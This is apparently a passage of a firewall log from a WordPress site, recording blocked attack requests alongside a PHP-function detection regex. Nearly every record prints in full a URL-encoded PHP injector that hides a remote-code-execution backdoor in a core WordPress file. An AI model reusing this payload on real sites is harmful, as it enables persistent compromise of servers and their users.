path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMIHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4359\n\neU=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66a%255Cx63%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2524_POST%255B%2522%255Cx66a%255Cx63%2522%255D%253B%2520%2524descriptor%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524descriptor%2529%2520%253B%2520%2524sym%2520%253D%2520%2527%2527%253B%2520%2524salt1%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt1%2529%253B%2520%2524t%2520%253D%25200%253B%2520foreach%2520%2528%2524descriptor%2520as%2520%2524v6%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524salt1%255B%2524t%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524t%2520%2525%252010%2529%2529%255E%25208%253B%2520%2524sym%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524t%252B%252B%253B%2520%257D%2520while%2520%2528%2524ent%2520%253D%2520array_shift%2528%2524obj%2529%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524ent%2529%252C%2520is_writable%2528%2524ent%2529%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2522%2524ent\/.rec%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524data_chunk%252C%2520%2524sym%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524data_chunk%253B%2520unlink%2528%2524data_chunk%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:55:28","185.176.9.68","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Qf:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66a%255Cx63%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2524_POST%255B%2522%255Cx66a%255Cx63%2522%255D%253B%2520%2524descriptor%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524descriptor%2529%2520%253B%2520%2524sym%2520%253D%2520%2527%2527%253B%2520%2524salt1%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt1%2529%253B%2520%2524t%2520%253D%25200%253B%2520foreach%2520%2528%2524descriptor%2520as%2520%2524v6%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524salt1%255B%2524t%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524t%2520%2525%252010%2529%2529%255E%25208%253B%2520%2524sym%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524t%252B%252B%253B%2520%257D%2520while%2520%2528%2524ent%2520%253D%2520array_shift%2528%2524obj%2529%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524ent%2529%252C%2520is_writable%2528%2524ent%2529%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2522%2524ent\/.rec%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524data_chunk%252C%2520%2524sym%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524data_chunk%253B%2520unlink%2528%2524data_chunk%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHJLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4359\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Android\"\n\nQf=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66a%255Cx63%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2524_POST%255B%2522%255Cx66a%255Cx63%2522%255D%253B%2520%2524descriptor%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524descriptor%2529%2520%253B%2520%2524sym%2520%253D%2520%2527%2527%253B%2520%2524salt1%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt1%2529%253B%2520%2524t%2520%253D%25200%253B%2520foreach%2520%2528%2524descriptor%2520as%2520%2524v6%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524salt1%255B%2524t%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524t%2520%2525%252010%2529%2529%255E%25208%253B%2520%2524sym%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524t%252B%252B%253B%2520%257D%2520while%2520%2528%2524ent%2520%253D%2520array_shift%2528%2524obj%2529%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524ent%2529%252C%2520is_writable%2528%2524ent%2529%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2522%2524ent\/.rec%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524data_chunk%252C%2520%2524sym%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524data_chunk%253B%2520unlink%2528%2524data_chunk%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:55:34","103.93.94.155","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ew:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66a%255Cx63%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2524_POST%255B%2522%255Cx66a%255Cx63%2522%255D%253B%2520%2524descriptor%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524descriptor%2529%2520%253B%2520%2524sym%2520%253D%2520%2527%2527%253B%2520%2524salt1%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt1%2529%253B%2520%2524t%2520%253D%25200%253B%2520foreach%2520%2528%2524descriptor%2520as%2520%2524v6%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524salt1%255B%2524t%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524t%2520%2525%252010%2529%2529%255E%25208%253B%2520%2524sym%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524t%252B%252B%253B%2520%257D%2520while%2520%2528%2524ent%2520%253D%2520array_shift%2528%2524obj%2529%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524ent%2529%252C%2520is_writable%2528%2524ent%2529%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2522%2524ent\/.rec%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524data_chunk%252C%2520%2524sym%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524data_chunk%253B%2520unlink%2528%2524data_chunk%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEKpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4359\n\nEw=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66a%255Cx63%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2524_POST%255B%2522%255Cx66a%255Cx63%2522%255D%253B%2520%2524descriptor%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524descriptor%2529%2520%253B%2520%2524sym%2520%253D%2520%2527%2527%253B%2520%2524salt1%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt1%2529%253B%2520%2524t%2520%253D%25200%253B%2520foreach%2520%2528%2524descriptor%2520as%2520%2524v6%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524salt1%255B%2524t%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524t%2520%2525%252010%2529%2529%255E%25208%253B%2520%2524sym%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524t%252B%252B%253B%2520%257D%2520while%2520%2528%2524ent%2520%253D%2520array_shift%2528%2524obj%2529%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524ent%2529%252C%2520is_writable%2528%2524ent%2529%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2522%2524ent\/.rec%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524data_chunk%252C%2520%2524sym%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524data_chunk%253B%2520unlink%2528%2524data_chunk%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:55:40","173.212.252.15","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66a%255Cx63%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2524_POST%255B%2522%255Cx66a%255Cx63%2522%255D%253B%2520%2524descriptor%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524descriptor%2529%2520%253B%2520%2524sym%2520%253D%2520%2527%2527%253B%2520%2524salt1%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt1%2529%253B%2520%2524t%2520%253D%25200%253B%2520foreach%2520%2528%2524descriptor%2520as%2520%2524v6%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524salt1%255B%2524t%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524t%2520%2525%252010%2529%2529%255E%25208%253B%2520%2524sym%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524t%252B%252B%253B%2520%257D%2520while%2520%2528%2524ent%2520%253D%2520array_shift%2528%2524obj%2529%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524ent%2529%252C%2520is_writable%2528%2524ent%2529%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2522%2524ent\/.rec%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524data_chunk%252C%2520%2524sym%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524data_chunk%253B%2520unlink%2528%2524data_chunk%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4382\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-fetch-mode:navigate\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-ch-ua:\"Chromium\";v=\"116\", 